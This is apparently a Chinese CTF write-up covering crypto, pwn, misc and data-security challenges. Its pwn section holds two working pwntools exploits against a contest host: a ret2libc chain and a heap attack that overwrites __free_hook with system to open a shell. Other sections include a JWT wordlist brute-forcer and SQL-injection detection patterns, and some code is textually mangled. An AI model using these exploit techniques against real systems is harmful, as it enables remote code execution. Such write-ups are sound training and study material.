import base64 from Crypto.Cipher import AES key = bytes.fromhex('0123456789ABCDEF0123456789ABCDEF') iv = bytes.fromhex('000102030405060708090A0B0C0D0E0F') with open('cipher.bin', 'rb') as f: b64_data = b''.join(f.read().split()) cipher_bytes = base64.b64decode(b64_data) cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = cipher.decrypt(cipher_bytes) def unpad_80_00(data: bytes) -> bytes: i = len(data) - 1 while i >= 0 and data[i] == 0x00: i -= 1 if i < 0 or data[i] != 0x80: raise ValueError('Invalid padding') return data[:i] pt = unpad_80_00(decrypted) with open('plaintext.bin', 'wb') as f: f.write(pt) print(pt.decode('utf-8', errors='ignore'))
多重Caesar密码
myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025}
我们可以拿myfz{来对照flag{
f(6)——>m(13)+7
l(12)——>y(25)+13
a(1)——>f(6)+5
g(7)——>z(26)+19
那么我们可以得到一个7 13 5 19的序列
因为包含caesar字符串,我们取6个字的pfxddi来做推理
经尝试,当九个字符为一组时,符合7,13,5,19,3,17,23,2,11的规律
于是可以得出
flag{easy_caesar_with_multiple_shifts_2025}
rsa
import math from Crypto.Util.number import long_to_bytes n = 143504495074135116523479572513193257538457891976052298438652079929596651523432364937341930982173023552175436173885654930971376970322922498317976493562072926136659852344920009858340197366796444840464302446464493305526983923226244799894266646253468068881999233902997176323684443197642773123213917372573050601477 c = 141699518880360825234198786612952695897842876092920232629929387949988050288276438446103693342179727296549008517932766734449401585097483656759727472217476111942285691988125304733806468920104615795505322633807031565453083413471250166739315942515829249512300243607424590170257225854237018813544527796454663165076 e = 65537 t = 530 d_low = 1761714636451980705225596515441824697034096304822566643697981898035887055658807020442662924585355268098963915429014997296853529408546333631721472245329506038801 def is_square(z): if z < 0: return False, 0 r = math.isqrt(z) return r*r == z, r def solve(n, e, t, d_low, c=None): a = e * (1 << t) b = (e * d_low - 1) % a sqrt_n = math.isqrt(n) for k in range(1, e): g = math.gcd(k, a) if b % g != 0: continue a1, k1, b1 = a//g, k//g, b//g if math.gcd(k1, a1) != 1: continue invk1 = pow(k1, -1, a1) phi0 = (b1 * invk1) % a1 z0 = (n - phi0) // a1 # 由于 a1 > sqrt(n),只需要很小的窗口 for dz in range(-3, 4): phi = phi0 + a1 * (z0 + dz) if not (1 < phi < n): continue s = n - phi + 1 ok, r = is_square(s*s - 4*n) if not ok: continue p = (s - r)//2 q = (s + r)//2 if p*q != n: continue d = pow(e, -1, (p-1)*(q-1)) m = pow(c, d, n) return long_to_bytes(m) return None print(solve(n, e, t, d_low, c))
from pwn import * p=remote('pss.idss-cn.com’,56619) elf = ELF('./1') context(os='linux', arch='i386', log_level='debug') libc = ELF('./libc-2.31.so') s = lambda a: p.send(a) sa = lambda a, b: p.sendafter(a, b) sl = lambda a: p.sendline(a) sla = lambda a, b: p.sendlineafter(a, b) li = lambda a: print(hex(a)) r = lambda: p.recv() pr = lambda: print(p.recv()) rl = lambda a: p.recvuntil(a) inter = lambda: p.interactive() get_32 = lambda: u32(p.recvuntil(b'xf7')[-4:]) rl(b'Enter your bill, enter 0 to exit:') for i in range(12): sl(str(0xc)) sl(str(elf.plt['puts'])) sl(str(0x8049264)) # main address sl(str(elf.got['puts'])) sl(str(0)) libc_base = get_32() - libc.sym['puts'] system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/shx00')) li(libc_base) li(system) li(bin_sh) rl(b'Enter your bill, enter 0 to exit:') for i in range(12): sl(str(0xc)) sl(str(system - 0x100000000)) sl(str(0x1)) sl(str(bin_sh - 0x100000000)) sl(str(0)) inter()
得到flag
user
查看主函数
继续查看,发现可以利用越界泄露libc 基地址,再将 free_hook 劫持为 system 函数,多跑几遍要
from pwn import * p = remote('pss.idss-cn.com', 12213) context(os='linux', arch='amd64', log_level='debug') libc = ELF('./libc.so.6') s = lambda a: p.send(a) sa = lambda a, b: p.sendafter(a, b) sl = lambda a: p.sendline(a) sla = lambda a, b: p.sendlineafter(a, b) li = lambda a: print(hex(a)) r = lambda: p.recv() pr = lambda: print(p.recv()) rl = lambda a: p.recvuntil(a) inter = lambda: p.interactive() get_32 = lambda: u32(p.recvuntil(b'xf7')[-4:]) get_addr = lambda: u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00')) def choice(i): sla(b'5. Exit', str(i)) def add(content): choice(1) sa(b'Enter your username:', content) def delete(idx): choice(2) sla(b'index:', str(idx)) def edit(idx, content): choice(4) sla(b'index:', idx) sa(b'Enter a new username:', content) add(b'/bin/shx00') add(b'/bin/shx00') edit(b'-8', p64(0xfbad1800) + p64(0)*3 + b'x00') libc_base = get_addr() - 0x1ec980 edit(b'-11', p64(libc_base + libc.sym['__free_hook'])) edit(b'-11', p64(libc_base + libc.sym['system'])) delete(0) p.interactive()
得到flag
misc
ModelUnguilty
直接把附件和提示交给AI
能跑出来
交上就有flag了
两个数
第一关反转二进制转换后,再转八进制,再换成ASCII码
可以得到
C0ngr4tu1ation!!Y0u_hav3_passed_th3_first_l3ve1!!
第二关提示8bit,我们按01互换再反转一下再按八位一组的格式进行转换得到
y0U_hav3_arriv3_th3_sec0nd_1evel!!!!!
第三关有点抽象,按两位一组分,8位分得4组,6为分成3组,之后转格雷码再转ASCII
得到
Welc0m3_T0_l3ve1_thr3e!!!!
第四关就容易多了,一眼01转像素
from PIL import Image import math def binary_to_image(binary_str, output_path, width=None, height=None): ''' 将二进制字符串转换为图片 参数: binary_str: 由0和1组成的字符串 output_path: 输出图片路径(如'output.png') width: 图片宽度(若不指定则自动计算) height: 图片高度(若不指定则自动计算) ''' # 检查输入是否合法 for c in binary_str: if c not in ('0', '1'): raise ValueError('输入字符串必须只包含0和1') # 计算像素总数 total_pixels = len(binary_str) if total_pixels == 0: raise ValueError('输入字符串不能为空') # 自动计算宽高(优先保证接近正方形) if width is None and height is None: width = int(math.sqrt(total_pixels)) # 确保宽度能被总像素数整除 while total_pixels % width != 0 and width > 1: width -= 1 height = total_pixels // width # 检查宽高是否合法 if width * height != total_pixels: raise ValueError(f'宽高乘积({width}x{height}={width * height})必须等于二进制字符串长度({total_pixels})') # 将二进制转换为像素值(0->黑色(0),1->白色(255)) pixels = [255 if c == '1'else 0 for c in binary_str] # 创建并保存图片 img = Image.new('L', (width, height)) # 'L'模式表示8位灰度图 img.putdata(pixels) img.save(output_path) print(f'图片已成功保存至: {output_path}') if __name__ == '__main__': binary_data = '二进制字符串' binary_to_image(binary_data, 'auto_size.png')
一开始得到的是一个斜着的二维码,稍加处理可以得到一个完整的二维码
扫描得到下一层的密码
最后一关
注意到文件名都是浮点数
可以发现一个规律:整数位只有0和1
根据题目都是围绕0和1来做文章这一点推测——小数位为数字顺序,而整数位是对应的数字
例如:0.1代表第一位是0,1.2代表第二位是1,那么0.1、1.2、0.3、1.4
就可以对应0101
由此可以写脚本处理:
#!/usr/bin/env python3 import argparse import re from pathlib import Path import sys def main(): parser = argparse.ArgumentParser( description='按 . 后面的数字排序,并输出 . 前面的 0/1' ) parser.add_argument('dir', nargs='?', default='last_level', help='目标文件夹(默认:last_level)') parser.add_argument('--join', action='store_true', help='将输出拼成一行字符串') args = parser.parse_args() base = Path(args.dir) if not base.is_dir(): print(f'错误:目录不存在:{base}', file=sys.stderr) sys.exit(1) # 仅匹配形如 0.12 / 1.345 的文件名 pat = re.compile(r'^(0|1).(d+)$') items = [] for entry in base.iterdir(): if not entry.is_file(): continue m = pat.match(entry.name) if not m: continue bit = int(m.group(1)) # 0 或 1 idx = int(m.group(2)) # 排序依据 items.append((idx, bit)) if not items: print('未找到符合规则的文件(形如 0.数字 或 1.数字)。', file=sys.stderr) sys.exit(2) items.sort(key=lambda x: x[0]) # 按 . 后数字升序 bits = [str(bit) for _, bit in items] if args.join: print(''.join(bits),end = '') else: for b in bits: print(b,end = '') if __name__ == '__main__': main()
最后将二进制转换成ascii码,得到flag
derderjia
wireshark打开拉到最后一个HTTP协议的包
发现在读一个server_key.txt,打开一看发现是TLS的key
将密钥文件导入到NETA一把梭工具,自动分析出一个加密压缩包
需要的密码在最后的DNS流量能找到
base64解密得到
解压得到png,上传至随波逐流解码工具,得到一张修复宽高的图片,图片中即为flag
easy_misc
foremost分离secret图片
打开压缩包发现是伪加密,修改解压
接下来拿去解密
得到另一个密码,直接解压得到flag
数据安全赛道
ACL_Allow_Count
AI脚本如下
allow_count = 0 with open('traffic.txt', 'r') as f: for line in f: line = line.strip() if not line: continue proto, src, dst, dport_str = line.split() dport = int(dport_str) if proto == 'tcp' and dport == 23: continue if proto == 'udp' and dport == 22: continue allow_count += 1 print(f'flag{{{allow_count}}}')
跑出结果flag{1729}
SQLi_Detection
import re def count_sql_injections(log_file): count = 0 boolean_pattern = re.compile(r''s*(OR|AND)s*', re.IGNORECASE) union_pattern = re.compile(r''s*UNIONs+SELECTs*', re.IGNORECASE) stack_pattern = re.compile(r'';s*(DROP|DELETE|UPDATE|INSERT|ALTER|TRUNCATE)s+', re.IGNORECASE) try: with open(log_file, 'r', encoding='utf-8') as f: for line in f: if boolean_pattern.search(line) or union_pattern.search(line) or stack_pattern.search(line): count += 1 return count except FileNotFoundError: print(f'Error: File '{log_file}' not found') return -1 except Exception as e: print(f'Error processing file: {str(e)}') return -1 if __name__ == '__main__': log_file = 'logs.txt' injection_count = count_sql_injections(log_file) if injection_count >= 0: print(f'flag{{{injection_count}}}')
跑出来是415条
JWT_Weak_Secret
叫ai写个脚本
import jwt import base64 import json from jwt.exceptions import InvalidSignatureError, DecodeError def load_file_content(filename): '''读取文件内容并返回''' with open(filename, 'r') as f: return f.read() def load_lines(filename): '''读取文件并返回非空行列表''' with open(filename, 'r') as f: return [line.strip() for line in f if line.strip()] def get_jwt_algorithm(token): '''解析JWT头部获取算法,无效则返回None''' parts = token.split('.') if len(parts) != 3: return None hdr_b64 = parts[0] try: # 补全Base64URL编码 hdr_b64 += '=' * ((4 - len(hdr_b64) % 4) % 4) hdr_json = base64.urlsafe_b64decode(hdr_b64).decode('utf-8') alg = json.loads(hdr_json).get('alg') return alg if alg in ['HS256', 'RS256'] else None except (base64.binascii.Error, json.JSONDecodeError): return None def verify_jwt_signature(token, alg, passwords, public_key): '''验证JWT签名,返回(payload, 是否有效)''' try: if alg == 'HS256': forpwdin passwords: try: payload = jwt.decode( token, pwd, algorithms=['HS256'], options={'verify_exp': False} ) return (payload, True) except (InvalidSignatureError, DecodeError): continue return (None, False) elif alg == 'RS256': payload = jwt.decode( token, public_key, algorithms=['RS256'], options={'verify_exp': False} ) return (payload, True) except (InvalidSignatureError, DecodeError): return (None, False) def is_admin(payload): '''检查payload是否满足管理员权限条件''' return (payload.get('admin') is True) or (payload.get('role') in ['admin', 'superuser']) def main(): # 加载必要资源 jwt_tokens = load_lines('tokens.txt') passwords = load_lines('wordlist.txt') public_key = load_file_content('public.pem') valid_ids = [] # 处理每个令牌 for token_id, token in enumerate(jwt_tokens, start=1): # 获取算法 alg = get_jwt_algorithm(token) if not alg: continue # 验证签名 payload, sig_valid = verify_jwt_signature(token, alg, passwords, public_key) if not sig_valid or not payload: continue # 检查管理员权限 if is_admin(payload): valid_ids.append(str(token_id)) # 生成结果 print(f'flag{{{':'.join(valid_ids)}}}') if __name__ == '__main__': main()
得到flag
AES_Custom_Padding
脚本如下
import base64 from Crypto.Cipher import AES KEY = bytes.fromhex('0123456789ABCDEF0123456789ABCDEF') IV = bytes.fromhex('000102030405060708090A0B0C0D0E0F') with open('cipher.bin', 'rb') as f: ciphertext = base64.b64decode(f.read()) cipher = AES.new(KEY, AES.MODE_CBC, IV) plaintext_padded = cipher.decrypt(ciphertext) def remove_custom_padding(data: bytes) -> bytes: index = len(data) - 1 while index >= 0 and data[index] == 0x00: index -= 1 if index >= 0 and data[index] == 0x80: return data[:index] else: raise ValueError('Invalid custom padding: 0x80 terminator not found') plaintext = remove_custom_padding(plaintext_padded) print(plaintext.decode(errors='replace'))
DB_Log
脚本如下
import re import hashlib from datetime import datetime def parse_user_permissions(filename): user_info = {} with open(filename, 'r') as f: for line in f: parts = line.strip().split(', ') if len(parts) < 6: continue user_id, username, dept, tables, operations, role = parts user_info[username] = { 'dept': dept, 'tables': tables.split(';'), 'operations': operations.split(';'), 'role': role } return user_info def parse_database_logs(filename): logs = [] with open(filename, 'r') as f: for line in f: line = line.strip() if not line: continue log_id = int(line.split()[0]) datetime_str = line.split()[1] + ' ' + line.split()[2] username = line.split()[3] operation = line.split()[4] table_name = None if operation in ['QUERY', 'BACKUP']: table_match = re.search(r'QUERY (w+) |BACKUP (w+)', line) if table_match: table_name = table_match.group(1) or table_match.group(2) fields = [] field_match = re.search(r'field=(w+)', line) if field_match: fields.append(field_match.group(1)) fields_match = re.findall(r'field=(w+)', line) fields.extend(fields_match) op_detail = None op_match = re.search(r'operation=(w+)', line) if op_match: op_detail = op_match.group(1) logs.append({ 'id': log_id, 'datetime': datetime.strptime(datetime_str, '%Y-%m-%d %H:%M:%S'), 'username': username, 'operation': operation, 'table': table_name, 'fields': fields, 'op_detail': op_detail }) return logs def check_violations(logs, user_info): violations = [] dept_tables = { 'HR': ['employee_info', 'salary_data', 'personal_info'], 'Finance': ['financial_reports', 'budget_data', 'payment_records'], 'IT': ['system_logs', 'server_data', 'network_config'], 'Sales': ['customer_data', 'sales_records', 'product_info'] } sensitive_fields = ['salary', 'ssn', 'phone', 'email', 'address'] forlogin logs: log_id = log['id'] username = log['username'] operation = log['operation'] table = log['table'] fields = log['fields'] dt = log['datetime'] if username not in user_info: continue user_dept = user_info[username]['dept'] user_role = user_info[username]['role'] if table and user_dept in dept_tables and table not in dept_tables[user_dept]: violations.append(f'1-{log_id}') if any(field in sensitive_fields for field in fields): violations.append(f'2-{log_id}') if 0 <= dt.hour < 5: violations.append(f'3-{log_id}') if operation == 'BACKUP' and user_role != 'admin': violations.append(f'4-{log_id}') violations.sort(key=lambda x: int(x.split('-')[1])) return violations def main(): user_info = parse_user_permissions('user_permissions.txt') logs = parse_database_logs('database_logs.txt') violations = check_violations(logs, user_info) violations_str = ','.join(violations) md5_hash = hashlib.md5(violations_str.encode()).hexdigest() print(f'flag{{{md5_hash}}}') if __name__ == '__main__': main()
Brute_Force_Detection
描述全丢给ai,一把梭
from datetime import datetime from collections import defaultdict # Initialize a dictionary to store consecutive failure timestamps per (IP, user) pair attempts = defaultdict(list) # Set to store IPs that match the pattern matching_ips = set() # Process each log line log_lines = '''2025-07-20 09:00:00 SUCCESS user=bob ip=192.168.1.19 2025-07-20 09:01:25 SUCCESS user=bob ip=192.168.9.15 2025-07-20 09:02:07 SUCCESS user=alice ip=192.168.5.15 2025-07-20 09:04:01 SUCCESS user=dave ip=192.168.4.19 太长了就不放上来了 2025-07-22 01:03:37 SUCCESS user=alice ip=192.168.3.11 2025-07-22 01:04:21 SUCCESS user=dave ip=192.168.0.15 2025-07-22 01:06:20 SUCCESS user=dave ip=192.168.9.18'''.splitlines() for line in log_lines: if not line.strip(): continue parts = line.split() timestamp_str = ' '.join(parts[0:2]) result = parts[2] user = parts[3].split('=')[1] ip = parts[4].split('=')[1] timestamp = datetime.strptime(timestamp_str, '%Y-%m-%d %H:%M:%S') key = (ip, user) if result == 'FAIL': # Append failure timestamp to the list for this (IP, user) attempts[key].append(timestamp) elif result == 'SUCCESS': # Check if there are at least 5 consecutive failures if len(attempts[key]) >= 5: # Time difference between the fifth-to-last failure and the success time_diff = (timestamp - attempts[key][-5]).total_seconds() if time_diff <= 600: # 10 minutes = 600 seconds matching_ips.add(ip) # Reset the list after a success attempts[key] = [] # Sort IPs and construct the flag sorted_ips = sorted(matching_ips) flag = 'flag{' + ':'.join(sorted_ips) + '}' print(flag)